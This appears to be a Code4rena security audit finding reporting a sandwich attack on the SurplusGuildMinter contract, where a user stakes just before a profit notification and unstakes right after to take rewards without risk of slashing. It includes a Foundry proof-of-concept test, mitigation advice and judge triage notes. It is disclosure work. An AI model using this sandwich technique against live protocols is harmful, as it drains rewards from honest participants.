Risk-free reward accrual in SurplusGuildMinter

[c4-bot-4]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L114
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L158

Vulnerability details

Impact

Malicious user can constantly accrue risk-free reward (w/o risk of slashing) from SurplusGuildMinter in Guild and Credit tokens. This achieved by sandwitching LendingTerm.repay(), LendingTerm.partialRepay(), and AuctionHouse.bid() calls that have ProfitManager.notifyPnL(amount > 0) inner-call when the profit is sent to ProfitManager and no loss occur.

Because unstake() doesn't impose any constraints for minimal staking time, it's possible to swiftly stake and unstake credit tokens without the fear of slashing. Moreover, swift stake and unstake doesn't give time for lenders to borrow in a Lending term and block corresponding GUILD tokens in the gauge.

As a synopsis, the sandwitcher has 0 risk of slashing or blocking their Credit tokens.

Proof of Concept

1. A significant distribution of profit occurs.
2. Alice front-runs the transaction with an inner-call to ProfitManager.notifyPnL(amount) with amount > 0 using a transaction that stakes Credit tokens in SurplusGuildMinter.
3. Alice back-runs the transaction with an inner-call to ProfitManager.notifyPnL(amount) using a transaction than unstakes Credit tokens from SurplusGuildMinter.
4. The risk of slashing for Alice is 0. She can use large amounts of Credit tokens risk-free to accrue desired reward.

// Put inside test/unit/loan/SurplusGuildMinter.t.sol
function test_sandwitch() public {
    uint256 aliceCreditAmount = 10_000 ether;
    int256 profitAmount = 1000 ether;
    address alice = address(789);

    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0.5e18, // surplusBufferSplit
        0, // creditSplit
        0.5e18, // guildSplit
        0, // otherSplit
        address(0) // otherRecipient
    );
    credit.mint(address(profitManager), uint256(profitAmount));

    credit.mint(alice, aliceCreditAmount);

    // No reward yet for Alice
    require(credit.balanceOf(alice) == aliceCreditAmount);
    require(guild.balanceOf(alice) == 0);

    // Alice front-runs notifyPnL() and stakes
    vm.startPrank(alice);
    credit.approve(address(sgm), aliceCreditAmount);
    sgm.stake(term, aliceCreditAmount);
    vm.stopPrank();

    // Sandwitched!
    profitManager.notifyPnL(term, profitAmount);

    // Alice back-runs notifyPnL() and unstakes
    vm.startPrank(alice);
    sgm.unstake(term, aliceCreditAmount);
    vm.stopPrank();

    // Alice gets risk-free reward in Credit and Guild tokens
    require(credit.balanceOf(alice) > aliceCreditAmount);
    require(guild.balanceOf(alice) > 0);
}

Run Poc with the following command.

forge test --mp test/unit/loan/SurplusGuildMinter.t.sol --mt test_sandwitch

Tools Used

Manual review.

Recommended Mitigation Steps

SurplusGuildMinter.unstake() should enforce a minimal time interval (or perform redeeming through a queue) so users aren't able to escape slashing. Additionally, there should be a fee for staking/unstaking in SurplusGuildMinter to make the attack unprofitable.

Assessed type

Other

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #994

[c4-judge]

Trumpero changed the severity to 2 (Med Risk)

[c4-judge]

Trumpero marked the issue as satisfactory